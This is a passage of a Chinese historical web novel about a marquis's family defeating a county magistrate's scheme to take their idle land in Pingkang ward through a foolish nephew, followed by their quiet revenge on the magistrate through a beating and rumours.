孙淮之在东市署做的还不错,至少目前为止,没有惹出乱子,也没有被东市令苛责过。 许翰和许文兄弟俩自打把孙淮之安排之后,就一直没怎么去操心过,毕竟一个小小的市署丞,平时也跟他们打不着交道,时间一久,也便忘了。 还是这次老太太病倒,孙淮之接连来了几次之后,终于有一天和早归的许文走对头了。 许文看到他并不意外,只是冷脸问道:“今日怎么下值这般早?” 孙淮之行礼道:“回二舅舅,外祖母身体有恙,我身为小辈,自当多尽前照顾,至于衙内事务,我出门前都已做了安排。” “嗯,你初入官场,虽然品级不高,但也同样是要有考核的,莫要让人捉了错处,影响你日后的晋升。” “是,二舅舅。” “行了,无事便去吧。” 许文刚抬腿,孙淮之便急忙道:“舅舅留步,外甥突然想起来,还真有一件事,可能与舅舅有些关系。” 许文如今任兵部侍郎,手中的权限不小,但是也仅仅是针对于武将而言。 所以许文从来不曾想过,孙淮之这个走科举文官路子的外甥,能有什么事情是需要他来帮忙的。 “有事?” “二舅舅,是这样,东市署这边有意将平康坊内的那片空地建成屋舍,我打听到,那里有一块地是侯府的,所以想过来问问,何时能过一下文书,将这片地划归于东市署所有。” 许文都听懵了。 这孙淮之脑子没有坏掉吧? 既然他都说了是侯爷的地,那凭什么要划归到府衙? 这是想要抄家吗? “你再说一遍?” 孙淮之这才再次笑道:“可能是我刚刚话没说清楚,这片空地呢,我们这边也有新的安排,当然,不会让大舅舅为难,那块地长安县也是会出银钱的,这也是我们与长安县要一起做的事,目的嘛,就是为了能让京城更干净平整一些。” 这个理由,一听就很荒唐。 而且你说给银钱,按多少给? 再则,若是长安县想要干净平整,不应该是先想法子修一修路面,再多安排些人手去扫大街吗? 所以,跟那片空地有什么关系? 要知道天子脚下,乞丐可是进不来的。 再者,平康坊是什么地方? 那里寻欢作乐之处最多,京中显贵多有人去吃酒听曲,这街道怎么可能会不整齐? 无论是何人任长安县令或者是东市市令,都会先紧接这里的环境整治。 许文纵然是离京多年,但也不是傻子。 所以,别拿那套哄人的说辞来现眼。 “此事你自去与侯爷请示,我不干涉。” 许文上下打量孙淮之一眼,只觉得这个外甥的心也太大了。 孙淮之见许文不肯帮忙,只觉得二舅舅应该是惧怕大舅舅,另外,侯府家产原本就应该是大舅舅得七成,二舅舅只得三成的,再加上二舅母娘家也明显不及大舅母。 所以孙淮之觉得二舅舅一家子人手里头并不算是多富裕,想来他是不敢去过问大舅舅的事。 孙淮之自以为将一切利害关系都看透了,便只笑着出府,琢磨着要如何从这件事中得到自己应有的利益。 安信侯府的确是在那里有一块地,而且面积还不小。 这块地还是放置了多年,那是当初永安帝登基不久后,许翰从别人手中赢来的。 因为并非是自己掏钱买的,再加上当时情况特殊,所以许翰得到地契之后,也久未动工,只暂时搁置着,就是还念着故交的一些香火情。 但是现在这块地 ,却被孙淮之盯上了。 许文想到当年那块地惹出来的乱子,自然难免会生疑。 许翰手指在桌案上轻叩两下,脸色微冷:“孙淮之这小子应该是被人利用了。什么整治县容,我看分明就是有人借他之手,想要将那块地给拿回去。” 拿回去? 许文双眉紧锁:“大哥,你的意思是庆王?” 当年的那块地,就是被许翰使诈从他手上弄来的。 但是其实,当年许翰真正想要的,并非是这块地,而是一对母子。 结果,也不知道是不是庆王意气用事,总之最后,庆王就是不肯将那对母子交出来,宁肯舍出了这么大一块地,这让许翰在拿到地契时,只觉得完全不认识他了。 许翰没能保住那对母子的命,换来的一块地,许翰其实是不屑一顾的。 每每想起来这里还有一块地,他就会想起自己当年没能保下友人的亲眷,恨不能一剑将庆王砍了! 当年种种,情况复杂,不是一两句话能说得清楚,也不是简单的是非对错。 许翰也正是因为过不了心中那道坎,所以这些年哪怕是他手中再拮据之时,宁肯低头跟老婆要钱,也没想过要卖掉那块地。 京城这地方的宅院可不便宜,尤其是平康坊又是出了名的销金窟,若是能在那里建上宅院,若好生经营,将来必定是日进斗金。 奈何,许翰就这么一直荒着。 这块地,也成了很多人想碰却不敢碰的一块糕饼,怕太烫伤了手,却又惦记着它的味美! 偏偏自以为是的孙淮之一头撞了进来,这是想看许翰左右为难? 第184章 这是使劲儿作死呀! 许文一时间猜不透这里面有什么阴谋。 只是他知道当年这块地的由来,也知道兄长的心结,更知道多年来庆王一直未曾归京,除了因为无诏不得归京之外,应该也是庆王自己不愿意来京。 “大哥,孙淮之只怕是被人利用了。” 许文一眼就能看透的事,许翰自然也能看明白。 他们兄弟二人互相对视一眼后,同时叹气。 偏这孙淮之还是许琳最疼爱的长子,又得老太太欢心,他们兄弟俩便是再嫌弃孙淮之的蠢钝,却也不得不顾念着亲情而对其宽容一二。 仔细想想,二人都觉得荒谬。 既为亲眷,当多为对方考虑才是。 可是许琳自出嫁之后,从未想过为侯府做什么,一心只想着如何从侯府获得好处再送与孙家。 这么多年,若只是一些银钱器物,许翰也懒得与其计较,毕竟是亲妹妹。 可若是不知天高地厚,动了不该动的心思,就算是老太太哭死,他们兄弟俩也不能任由宵小作祟! “人呐,就是贪心不足!” 许翰说完,又是无奈地叹口气,然后微微摇头:“二弟,如今你在兵部的位置尚未移固,还是当多加小心。我为了避嫌,也为了不让圣上难做,所以这些年一直都尽量地少担一些职务,若是有在外拼杀的差事,我都拼了命地去抢。 这些年你在任上,也是吃了不少苦头,咱们兄弟俩,不敢说是给许家挣了荣耀,但是至少未曾辱没祖上的名声。这次若是孙淮之不知好歹再硬撞,许琳的面子在我这里也不好使了。” 许文一脸严肃:“兄长的意思我都懂。咱们许家原本子翤不丰,当年父亲临走前,还叮嘱你我定要互相扶持,嫡庶有别,但不可苛待庶子,不可一心想着利用婚嫁来委屈许家的女儿。 这些年,许琳行事荒唐,即便我在外头,也是时有耳闻。去岁孙茜以及许琳做下多少糊涂事,我都知道。是大哥大嫂心胸宽广,才不与她计较。如今我回来了,若是母亲再有责难,我自会上前分担一份。 如今母亲病倒,也是许琳之由。大哥,若是按我的意思,等回头便将孙家人都拒了,至于许琳,也别再让她登门了。至少,在母亲身体痊愈之前,不可再让她上门生事。” 许翰沉默片刻后,点点头:“此事我会吩咐忠叔去办。至于许琳那里,我会找人警告孙庆阳的。” 有时候拿女人没办法,不代表了就拿她的男人没办法。 而只要治住了她男人,再厉害的女人也就老实了。 孙庆阳原本品级就不高,去岁还被罚了。 今年好不容易有些起色,结果刚刚上衙,就被上官喝斥,再回到自己的屋子准备办公时,又被同僚们排挤,几天下来,孙庆阳便受不住了。 好歹也是个中年男子,三番五次被上司喝斥孩童一般责骂,孙庆阳再如何自我安慰都没用了。 还是一位同僚看不下去,这才小声提醒。 “我听闻尊夫人将许老夫人给气病了,如今侯府都已经下令禁止孙家人再登门,更是不许姑奶奶登门,此事,孙大人不知?” 孙庆阳心里咯噔一下子,随即脸色一白。 怎么也没想到,这件事情竟是与夫人有关。 “怎么可能?我昨日出门前,夫人还说要去侯府探望岳母呢,怎么可能会进不了侯府的大门?” 同僚一脸同情道:“这消息在京中都传了三天了。而且有人亲眼看到许家姑奶奶被拒之门外,而且门房丝毫不怕她哭闹,更是当众斥责她不该将老夫人气病,如今许老夫人养病期间,断断不许孙家人再登门了。” 孙庆阳只以为是妻子又得罪两位舅兄了,并未往深处想。 倒是这位同僚难得好心,又提点道:“孙兄,莫说我不同你交心,有些话本不该说的,如今许家几位年轻的小辈才刚刚在朝堂上展露头角,正值圣宠之机,若是老夫人有个什么好歹,这一家子人都要丁忧,您家夫人这不仅仅是不孝,更是想要断了娘家所有男人的前程呀!” 轰! 这一下子,孙庆阳只觉得脑子里头有股火猛地一下子烧起来了。 断人前程,犹如杀人父母,这若是真的,那许琳这次可是把许家人给得罪狠了。 从上到小,估计人人都得大骂许琳。 “多谢贤弟告知,此事愚兄实在不知。这就回去,好好告诫那妇人一番,着实是言行不妥。” “孙兄能明白其中的深浅即可。另外,我听闻家中公子还在打着平康坊那块空地的主意。呵呵,孙兄,侄子年纪小,不知其中轻重,当年的事,莫 非孙兄自己也忘了?” 经他一提醒,孙庆阳自然也就想起来十几年前的一笔糊涂账! 所以说,这是娘儿俩都使劲朝着得罪许家人的方向努力呢,就他自己还蒙在鼓里,简直就是蠢到家了! 孙庆阳心中恼恨,这娘儿俩真是使劲作死呢! 孙庆阳回到家后,少不得便命人将孙淮之叫到书房,没几句话的功夫,孙淮之就被打得嗷嗷直叫唤。 等到许琳听到消息赶过来时,孙淮之已经挨了二十多板子,整个人连哭嚎的声音都变了。 “住手!孙庆阳,你想做什么?你是不是打量着打死了我的淮之,好给你的庶子们腾地方?” 孙庆阳气得直哆嗦:“蠢妇!你们,你们简直就是不知所谓!你可知这个孽畜做了什么混账事?还有你,你们娘儿俩是想要逼死我才安心是吧?” 许琳正啼哭呢,听到这话不对,连忙怼道:“你少在这里歪理!明明就是你将淮之打得这样重,现在却说是我们母子逼迫你!我看你就是容不下我们母子了。” 孙庆阳怒极,再想到同僚先前说的那番话,更觉得自己娶了个蠢妇,还生了个蠢儿子,竟是一口气儿没上来,晕了过去。 许琳被吓坏了。 她虽与孙庆阳吵闹,但内里还是向着孙庆阳的。 现在看到他晕倒,这才意识到事情的严重性。 “来人,快去找大夫!老爷,你可不能有事呀!” 第185章 想白嫖一块地! 孙府这边兵荒马乱,许翰和许文倒是安心几分了。 他们并不想对亲人痛下杀手,所以,眼下最好的法子,就是将孙淮之绊住,让他再不能掺和进这件事当中。 只是孙淮之若是实在不知趣,那就只能让他见点儿血了。 许翰手底下的人还是很得用的。 关于那块地的事,也的确是查出来几分眉目。 “侯爷,如今的长安县令刘起,是肃国公的族侄,这个县令的位置,也是肃国公往上举荐,得了姜家人支持才坐上去的。如今他是想利用那块地给自己弄些政绩,听闻是想要盖善堂。” “善堂?” “目前县衙里放出来的消息就是这样。至于这个善堂用来做什么,具体占地几何,无人知晓。不过,小的打听到,刘起已经秘密见过了几位富商,有做丝帛生意的,也有做茶叶生意的,总之都是有家底的商户。” 许翰冷笑一声:“这刘起是真以为我们都是傻子呀!” 许文还没能看出这其中的弯弯绕,自然不明就里。 许君安此时也意识到事情的不妥,皱眉道:“好狠毒的心思!这刘起是想着拿我们的地做善堂,再征收了周围其它的地来盖成商铺,如此一来,既做了善事,得了好名声,同时又能与那些商户互惠利益。 整件事情若是让他顺利做成,吃亏的就只有我们侯府。而且若是不能及时处理,届时整个京城都会传是我们侯府心狠,不愿意配合长安县衙做善事。 百姓们不会去问这地值多少钱,或者说是咱们侯府为何不愿意出让这块地,他们只会关心这善堂若是能顺利建成,可收养多少孤寡等等,而我们不配合,那就等于是为富不仁,甚至是与民争利! 到时候就等着在朝堂上被那些御史们狠参一本吧!” 许文听得目瞪口呆! “这刘起当真是好毒的心思!因为是建善堂,所以咱们侯府若是跟县衙提钱,那就显得眼皮子浅了,而且此事若是传至圣上耳中,只怕也会对我们许家不满。反倒是其它的几处地方,他们可以许以薄利,如此一对比,那些人也不会有意见,更重要的是,这商铺建成,县衙还能再反手卖与商户! 呵呵,当真是好算计!刘起这是以为我们许家都是粗人,所以看不明白这里头的弯弯绕,只以就想着怎么来拿捏我们呢!” 几人面面相觑,一时间都有几分为难。 他们纵然是料到了刘起的险恶用心,但是如何破局呢? 换言之,人家就算是大大方方地告诉你,这块地要建善堂,你应是不应? 若是不应,就等着被老百姓指着脊梁骨来骂! 若是应了,好处都让刘家占了,那他们许家岂非是凭白被人算计? 许君安眼神一闪:“父亲,不如请昭昭过来一趟?” 许文也觉得可以:“昭昭脑子好使,不如听听她的想法?” 许翰点头,听听女儿的意见也好。 许昭昭是真没想到,刘家竟然如此不要脸。 那么大的一块地,若是折合成银钱,少说也要值千贯了。 毕竟这里可是寸土寸金的京城,刘起这个县令,只想凭着空口白牙就白得? 怎么那么会做梦呢! “父亲,敢问这块地您想盖成宅院吗?” 许翰沉默了片刻后摇头:“此事涉及一件旧事,而且这块地,我是真不想动。” “嗯,若是咱们只运一些砖瓦过来,将那块地围起来呢?” 许翰不解:“此话何意?” “咱们可以不盖宅院,但是咱们可以用砖瓦将那块空地围起来,若是有人问,您只管说是想要找一个可以训练一批女兵的地方,府中自然是不妥的,所以就利用那块空地做个简单的演武场,有何不妥?” “训练女兵?” 许翰和许文都吓了一跳,再怎么说,那也是兵,可不是闹着玩儿的! “父亲,二叔,您二位别怕。此事父亲可以先去请示一下陛下,您就说是女儿婚事渐近,担心日后女儿受委屈,所以想着训练一批厉害的女护卫给女儿带过去。您别忘了,女儿现在好歹也是顶着一个县主的名头呢!” 许翰一拍大腿:“对呀!县主是有仪仗的,而且县主可带护卫百人,邑士四十人,至于其它的侍从奴仆等等那就更多了。所以说,咱们完全可以说是给县主培养一支女护卫,这样日后她们可以跟随县入一起入内院保护的。” 许文也是此时才想起来,自己这个侄女还是位县主呢。 平时也没有人在家里讲究这些个,所以若不是许昭昭提了一嘴,许家 人还真地是都忘了。 虽说不是皇室县主,但也是县主,而且在大兴朝县主的地位可是相当高的,从二品呢,比许文的官职都高! “这是个法子,不过,除了要禀明圣上之后,谢家那边是不是也得知会一声?” “嗯,谢家未出阁的姑娘也不少呢,正好一起训练,如此一来,这地方也就不会显得太大了。” “如此甚好!趁着刘起还不曾正式提出盖善堂一事,咱们先一步谋划,另外,君安,你先带一批亲兵过去在那里训练,不要扰民,只做简单的操练即可。” “是,父亲。” 刘起纵然是县令,他也怕手上拿着刀子的。 而且许翰的动作很快,他一吩咐下去,许氏族亲那边立马就有人主动靠过来张罗,压根儿不需要侯府的人出面。 刘起这边等了半晌也不见孙淮之过来,不由得暗骂这人成不了气候,指望不上。 “启禀县尊大人,平康坊那边的空地上如今已经缷了好多砖瓦和木料,好像是要建宅子了。” “什么?”刘起惊道:“怎会如此?事先也未曾收到消息呀。” “属下不知,已经差人去打听了,不过小的确认过,在那里的几个管事都是许氏族人。” 刘起皱眉,那块地都空着十来年了,许翰怎么可能会突然想起来要建宅院? 这其中定有猫腻! 一旁的随从提醒道:“老爷,会不会是孙淮之那边事情没办成,让侯府的人起疑了?” 第186章 刘起怒,孙家服软 刘起脸色变幻不定,如今也只能等消息。 县衙里打发过去的一位差役心里打鼓,一看就知道对方都是行伍出身,他实在是不敢招惹,但是上官派了差事,他又不能不去,唉,只得自认倒霉。 “这位老伯,敢问这是要做什么?” 许然看他一眼,笑道:“当然是要建围场!” “围场?你们不是建宅子?” 许然哈哈一笑:“宅子也是要建的,不过不能急,一步一步来。我们先把这里围起来,最多三天,就能将这些外墙建好,小哥儿放心,我们不会给你们添麻烦的。” 差役一脸惊恐:“不敢不敢!小的也是奉命来问一句,毕竟此处是安信侯府的地方,小的也是担心有人使坏。” “有劳小哥儿了。这块地也空了十多年了,族里之前商议过,要在此处修建一个简易的演武场,想要为侯府小姐训练一批女护卫,日后嫁人,也省得受委屈。” 差役都听傻了:“女护卫?呃,有这个必要吗?而且侯府不是有亲兵吗?” “一看你就不懂了。侯府亲兵那是侯府的,岂能让出嫁女带走?而且昭昭可是陛下亲封的县主,按规矩,县主身边是得有护卫的。我们侯爷亲自去宫里头请了旨的,所以这一百护卫就改为侯府自己训练女亲卫,陛下还特允可逾制带一百五十名亲卫。” 差役一听都麻了。 这么一大块地,人家要用来训练侯府的护卫? 呵呵,这下子有意思了。 就是想要强行阻止都不成了! 差役没敢耽搁,赶紧回去复命了。 刘起听完这个理由之后,气得咬牙跺脚的,却是无济于事! 人家都已经请示过陛下了,你一个小小的长安县令还敢再去算计人家那块地? 那不是老寿星上吊,嫌自己命长了! 刘起没想到自己和刘怀恩嘀咕了那么久才有的计谋,这一下子就泡汤了。 现在最让刘起头疼的是,这要如何跟世子交代? 轻轻松松破了刘起的阴谋,许翰自然是大为欢喜,正好今日休沐,直接叫上许文和家里头几个不用去当差的小辈们一起喝上几杯。 孙淮之因为他自己被打了二十杖,如今只能躺在床上,得知不能去为刘县令效力,孙淮之气得直捶床。 同时,他也是真把孙庆阳给恨上了。 直到孙庆阳的身体好转一些,这才带上一壶酒,过来看看自己这个不成器的嫡长子。 “淮之,你年纪也不小了,你的两个舅舅为你谋了一个市署丞的缺儿,还不够吗?你为何还要想着去算计侯府的产业?你是不是忘了,你姓孙,不姓许!” 孙庆阳虽然也想沾光,但他好歹分得清主次,也拎得清自己的身份。 这些年来,借着侯府女婿的身份,他已经谋了不少好处,不能贪得无厌! 不能真地让人瞧不起! 事实上,这几天孙庆阳躺在床上,也想了许多。 自打娶了许琳之后,他的官职算是稳当了,这些年虽无大太的晋升,但是至少并不曾被人恶意针对,而且说到底,他还是看出来,自己的能力不足,并非是许家人不愿意帮衬。 再则,这些年孙家得了多少的银钱上的好处以及在外处事的便利,这都是大家伙心知肚明之事。 孙庆阳一直胸无大志,主要也是因为知道自己没有那么大的本事。 他只希望一家子平平安安,家中有余粮余钱,能给儿孙们都过上好日子即可。 可是偏偏,出了一个眼高手低的孙淮之呀! “你与刘起谋划之事,你以为侯府不知道?今日是我将你打成这样,才免得让你掺和其中,你可知道你大舅舅是安信侯,是简在帝心的那种重臣!” 孙庆阳语重心长,只盼着这个长子能听得进去。 孙淮之趴在床上,眼睛半阖,也不知道究竟是认可还是抗拒。 “你自以为聪明,当初就不该让你留在市署的。你该去下面的万年县去历练历练,只要无大错,三年后,至少可保你官升一级,这才是文官正经的晋升路子。当年你两位舅舅也是这样为你打算的,可惜呀,你自己不争气,眼皮子浅,选了一个东市署丞。 呵呵,你以为留在长安县,是可以接触到那些达官贵人的,可是实际上呢?你做了这么些日子,孙淮之,我问问你,有几个达官贵人是拿正眼瞧你的?你又见过几个正经主子?便是长安县令刘起,对你不也是呼来喝去,毫无半分敬意?” 这话孙淮之承认。 现实的确是比他想象得差了一些。 而且刘起也的确是不把他当同僚看,说到底,还是自己的官阶太低了。 孙淮之绝对不可能承认是因为自己能力不足的,所以只能是这个官职太低,若自己是县丞或者县尉,那刘起定然会与他称兄道弟! 孙淮之的自我催眠,倒是很有效果。 孙庆阳守着长子念叨了近一个时辰,最终还是看到孙淮之睡着了,这才不得不离开。 孙家现在能过这样的平稳日子即可,他是真地不想再生事端了。 而且,侯府,他是真惹不起呀! 想想自己那个眼界高的嫡女,若非是因为她自己胡作非为,如今又岂会被毁容抛弃? 孙庆阳在院子里站了片刻后,这才满身沧桑地离去。 儿子这里劝过了,还有妻子呢。 一想起许琳那个性子,孙庆阳就想扭头离开。 可许琳入了孙家的门,便是孙家妇,他若是不能拘着许琳,那在朝堂上寸步难行的就是自己! 孙庆阳咬咬牙,还是进了主院。 说到底,孙庆阳也是自私的。 以前为了些钱财,所以他纵着许琳回娘家要好处,跟老太太告状、扮委屈。 如今为了自己的前途,他不得不去劝住许琳,日后莫要再总是去侯府现眼了。 许君锋找到谢铮,提到了关于训练女亲卫的事,谢铮举双手赞成。 “日后我的几个妹妹们出嫁,也是需要一些厉害的丫环跟着的,总不能让其在内宅受了欺负。” 第187章 能言善辩的许氏 刘起此计失败,这就等于是错失了大把的银钱。 不仅如此,也未能重创安信侯府,这让刘怀恩大为不满。 但是再不满,此时他也只能忍着。 因为刘怀恩虽为公府世子,但是身上只担了一个闲差,而且品级还不高,而刘起是长安县令,乃是正五品的官职,最重要的是,这可是真正的实权官职。 所以,刘怀恩生气,但也不敢冲着刘起发火。 刘怀恩就是看着风光,普通老百姓不懂这些,只以为一听公爷世子的,就觉得是大富大贵的人物。 而实际上,刘怀恩也就是这个身份还能看一些,实际上手中没有实权,远不及一个刘起的本事大。 但肃国公本人在朝中还是颇有威望,且如今还担着军中的职务,虽说不是什么太显眼的要员,但总归是有些圣宠在的。 刘起与肃国公这一脉同为刘氏族人,但刘起向来看不上刘怀恩这等纨绔之流。 而且在他看来,刘怀恩这样的蠢货,便是日后袭爵,也未必能保得住。 刘起叹口气,处理完手头上的一些卷宗后,便去了附近的茶楼坐坐。 不一会儿,一名商户打扮的中年男人过来,两人一起闲聊几句之后,各自离开。 没有人注意到,刘起身上多了一个钱袋子,那名商户的手里则是多了一个小香囊。 商户打扮的中年男人,其实是忠王府的下人,找个角落将行头一换,一身下人模样,从角门回了王府。 忠王看着下人递过来的东西,一抬手,所有人都退下,忠王这才打开看里面的信件。 瑶面看是香囊,实则里面藏了一封密信。 字写得极小,忠王快速看完之后,便命人将王府长史请来。 二人在书房中密议一番,待忠王再出来的时候,已是满面春风得意。 再说刘起回到县衙,自己将钱袋子解开,里面装了两个小小的银元宝,除此之外,还有一张字条。 刘起看完之后,微微一笑,抬手将其毁尸灭迹。 “既然开局了,那咱们就继续下。且看最后鹿死谁手吧!” 说起来,刘起与许家也算是有些亲戚关系,只是太远了些。 刘起的妻子许氏,与许翰这一脉系出同宗,只是早在许翰这一代时,许氏之父便已出了五服,所以平时就算是有婚丧嫁娶事宜,也不过就是粗粗送份礼,侯府连面都不需露的。 刘起与妻子许氏的感情还可以,二人婚后夫妻恩爱,育有二子,如今刘起家中还有两个小妾,一个是许底的丫环抬上来的,还有一个则是刘起的母亲在外头买来赏的。 总之,这两个小妾其实都算是婢子出身,一辈子也当不了正经主子。 刘起晚上归家,夫妻二人夜话,刘起便无意中提到了安信侯府。 “我初任长安县令,倒也不知那块空地竟是侯府的,而且也是经由一些老人儿提醒,我才知道竟是十多年前的旧事。我原以为有孙淮之从中擀旋,此事必成。 届时我自己的政绩有了,还能造福一方乡邻,可没想到,不仅事情没办成,却有可能还得落得自己一身腥。都怪这个孙淮之,实在是害人不浅!” 听话听音,许氏向来体贴丈夫,平时得夫君敬重,如今自然就想着出一份力。 “妾与侯府也算是有些旧亲,只是自父亲那一辈后便疏远了。改日我带上一份赔礼,去走一遭,夫君以为如何?” “按理说,应该是我亲自去赔礼的。只是衙门里公务繁忙,而且侯爷是武将,我是文官,走动多了会引人议论。如此也只能辛苦夫人一趟了。” 许氏心中欢喜,能为夫君做些什么,可是太值得她骄傲了。 许氏登门拜访,出面接待她的是世子夫人张氏。 若论勋爵,自然是张氏身份更高,毕竟是子爵夫人。 若论官职,许君安和刘起二人的官职差不多,只不过一个主管着长安县,一个主管着城外的某一片儿。 没有差别的是,二人都是实权在握。 张氏出面接待她,倒也算是身份上挑不出错处来。 许氏其实是有几分忐忑的,面对侯府,她总有一种自惭形秽的感觉。 她是许家旁支所出,她之所以在张氏面前会自卑,并非是因为自己出身差,而是因为她清楚得记着,幼时家中兄弟们无银钱读书时,还是侯爷派人送去了几贯钱。 而后每年,侯府都会以走节礼等形式,接济他们这些稍有些落魄的族亲们。 别看昨晚上许氏在自家夫君面前说话硬气,实际上,她一到侯府门口,便底气全无。 若是侯府曾派人羞辱他们这些穷亲戚也就罢了,可偏偏人家没有,而且还出手帮了不止一两次,所以现在许氏坐在这里,便有些坐如针毡之感。 “按咱们许家这边论,你我是平辈,我当唤你一声族姐才是。” “不敢当。我虽年长,但样样不及世子夫人,当不起您一声姐姐。再说幼时,也是多亏侯府对我娘家时有照拂,我岂敢在您面前托大。” 张氏笑了笑:“夫人此行可是遇到了什么难事?此处没有外人,且说来便是。若是能办,我便帮忙办了,若是我无能,那便禀报长辈,请他们做主便是。” 许氏一听这话,更生出几分羞愧之意。 “不敢,原也没有什么难事,都是我那夫君,先前一直在外头为官,对京中的一些势力也并了解。这次本想着大展拳脚,做些功绩出来,不成想竟是好心办了坏事。 说来这件事也怪夫君太过相信人,他也没想到岔子出在了自家人身上。东市令当时就举荐了东市署丞过来帮忙办差,当时我还说孙淮之表弟也不是外人,结果反倒是弄巧成拙。 还是后来蒙上官提醒,夫君才知晓那块地另有来历,遂懊悔不已,已有两夜不得安眠。我身为他的妻子,且还是许氏女,自当过来携礼告罪,还望侯府的诸位长辈们莫要动气,只怪我家夫君入京时日尚短,让人蒙眼捂耳,也是遭了算计!” 第188章 麻烦来了 许氏真是生了一张巧嘴呀! 三言两语间,这错便都成了孙淮之的。 而孙淮之还是侯爷的亲外甥,这不就等于是侯府自家人的事? 所以,许氏这是想要告诉侯府,刘起是清白的? 有会说话的,自然也有会听的。 张氏笑笑:“你这话我会帮你带到,不过外头的事,一般都是父亲和世子做主,我只是女眷,插不上什么话。” 许氏讪讪笑道:“劳少夫人费心了。不管怎样,我夫君都是参与其中,总归少不了要被人背后议论。还望届时少夫人能帮着说说话,毕竟咱们也都是亲戚。” “这等事由着他们男人去解决便是,咱们女人,就该做好自己的本分,听闻族姐家中已得二子,还想着向你请教一些育儿之道呢。” 如此这般,便将话题引开。 张氏可是镇国公府嫡出的小姐,就许氏这样的心机,在她眼前还真不够瞧的。 等人走后,安和县主才带人过来。 “怎么样?可曾让大嫂受了委屈?” 张氏轻笑:“我倒是盼着她有这个胆子呢!可惜了,是个不中用的。不过我瞧着她此行应该就是希望父亲能消消火,至少不要把火气撒到她男人头上。” 安和县主撇嘴:“凭什么呢?做错事的是刘起,那就应该担责任。” 张氏笑着摇头:“此事算是了了,父亲是侯爷,又是朝中重臣,若真揪着此事不放,反倒是显得父亲心胸狭隘了。” 安和县主不服气:“那便由着刘起这样自在了?” “倒也不至于。你看咱们什么也没做,那许氏不也被吓得不轻?” 这倒是! 安和县主想想,觉得这样也挺好,只要他们不摆出一个明确态度来,担惊受怕的还是他们两口子。 “大嫂厉害!就得让他们吃些苦头才是!” 许昭昭打从一开始知道这件事之后,就已经在琢磨着如何报复回去了。 刘起与肃国公府有亲,同时又在暗中与忠王府来往,可见是妥妥的忠王一系的官员了。 既然如此,那她出手就没有什么好犹豫的了。 刘起平时为官很谨慎,在任上时,也一直尽力避开一些不必要的麻烦,而且吏部考核上,也一直都是上上,若不然,朝廷也不会让他出任长安县令。 只是,既然他惹到侯府了,那就别想着息事宁人。 许昭昭派出去查消息的人还没回来,她可不是那种只会坐着乖乖等回话的人。 所以,干脆就安排人给刘起找些麻烦了。 比如说,刘起下值回家的路上,就被人套麻袋给打了。 打的也不重,至少没伤着骨头,但是脸上青一块紫一块的,还挺好看。 刘起身为一县之令,自然不能无故旷工,所以他一出现在县衙,自然就会引来无数好奇的眼神。 再加上许昭昭暗中的推波助澜。 于是坊间便有了传闻。 一说是刘起家中娶了一位妒妇,只因刘起看中了一位清倌人,有意为其赎身且纳为小妾,但是其夫人不允,这才大打出手,伤及脸面。 还有一说,则是刘起与一有夫之妇私会,但被那位的夫君发现,对其大打出手,而刘起因理亏而不敢将事情闹大,不仅被痛打一顿,而且还赔出来不少的银钱,此事才作罢。 这样的流言,一日两日倒也无所谓,刘起安排人去抓去查也就是了。 可问题是,流言越传越厉害,大有冲出长安县,席卷整个京城的架势,那就不妙了。 而且,刘起家中当真是后院起火了! 刘起的妻子许氏,真信了外面的第二种传言,因为就在几天前,刘起管许氏要了五十贯钱,但并未说明这些钱的用处。 刘起虽是五品京官,但是俸禄有限,养着一大家子人,这一应的吃穿用度,自然不可能仅凭着那点俸禄。 平时打理这些的,都是许氏。 无论是田庄还是铺面,一年到头下来,总算是有几分盈利,也能让刘家人过得不那么清贫。 但五十贯钱,于许氏而言,还是一笔很大的数目。 许氏家境贫寒,幼年时曾多次受到侯府接济,而她之所以能嫁给刘起,也是多亏了沾了姓许这一个优势。 许氏当年了没有多少像样的嫁妆,如今的这些产业,一方面是有刘家的积攒,另一方面,便是刘起自己运作得当,有了一些底下人的孝敬,然后再开始铺设产业。 产业不多,收入一般。 主要是现在听到外面的流言,且传得头头是道,许氏心中 如何能不气恼? 刘起再三解释之后,许氏仍然生疑,甚至提出来当换个小厮跟着老爷上衙。 这摆明了就还是不信! “你这个蠢妇!若当真如你这般安排,那岂非是坐实了那些流言?我是什么样的人,你还不清楚吗?我若是当真有了相好的,又怎会在外头私会,直接纳到府中来不成吗?” 许氏一噎,好像是这个理。 “但外面皆传,那是位妇人。” “闭嘴吧!外人传什么你就信,我说什么你便不信?” 许氏终究没敢再闹,毕竟她只是一妇人,而且她能有今日,还是多亏嫁对了人。 而这只是让刘起头疼的一件小事。 真正让刘起觉得苦不堪言的,还是衙门中的诸多琐事。 也不知道为什么,令达而不成,这让他颇为恼火。 底下的人不听话,他可以直接训斥甚至是惩治,但若是同僚不配合、兄弟衙门不协作、而底下不听话的人又有着十分正当的理由时,刘起就彻底地麻爪了。 总不能把底下人都换了吧? 刘起不傻,现在的种种难题,应该都与先前的那件事有关。 原以为许氏上门赔礼,一切就此揭过。 可是没想到,侯府的人虽然没有在外与他为难,也不曾在任何场合说过他不好的话,可是实际上却能给自己带来这么大的阻力。 刘起无奈之下,只得妥协。 这一次,他没跟许氏提,命人往侯府递了拜贴,然后只盼着许侯爷能给他一次当面致歉的机会。 刘起不知道的是,这件事由始至终都与许翰无关呀! 第189章 该刘怀恩倒霉了 许翰是那种大大咧咧的性子,而且以粗莽著称。 正是因为如此,所以当他的三子得中进士,女儿许昭昭又能酿出美酒且将产业经营得有声有色之后,这才令朝中文武百官而颇为好奇。 大多都是好奇,就许翰这样的粗人,是怎么养出这么好的儿女的。 圣上每回亦是借此来打趣许翰,无非就是说他娶了一个好媳妇,才能有这么出色的儿女。 刘起是正经的文官,言语机锋上面,许翰自然不是敌手。 但许翰年长,且官职高,所以刘起在他跟前倒也不敢卖弄自己的学问。 许翰喝了口茶,这才慢悠悠道:“刘县令,这城中的流言,本侯也听闻几分,不过是些许乐子罢了,由着他们说去!正所谓人怕出名,猪怕壮!定然是你刘县令贤名在外,这才引得某些人嫉妒。这也是好事,说明刘县令才学能力皆是上等,不然,那些个文人也不会想出这么一个害人的法子来。” 文人? 刘起一时间真有些恍惚了。 莫非这事真与侯府无关? 可这也太巧了! 而且自己挨打一事,总不能也是文人所为吧? 刘起明白,许侯爷这是打算装傻,而且毕竟这样的手段不光彩,对方定然不会认的。 但是,自己都求上门来了,许侯爷总会给些薄面吧? “侯爷说的是,只是下官入宫时间尚短,对于京中权贵了解不多,可能无形中得罪了人也不知,下官也是厚颜来请侯爷做个中间人,只盼着对方能消停消停,毕竟如今下官的名声被毁,对方便是有再大的怒气,也当消减了吧?” 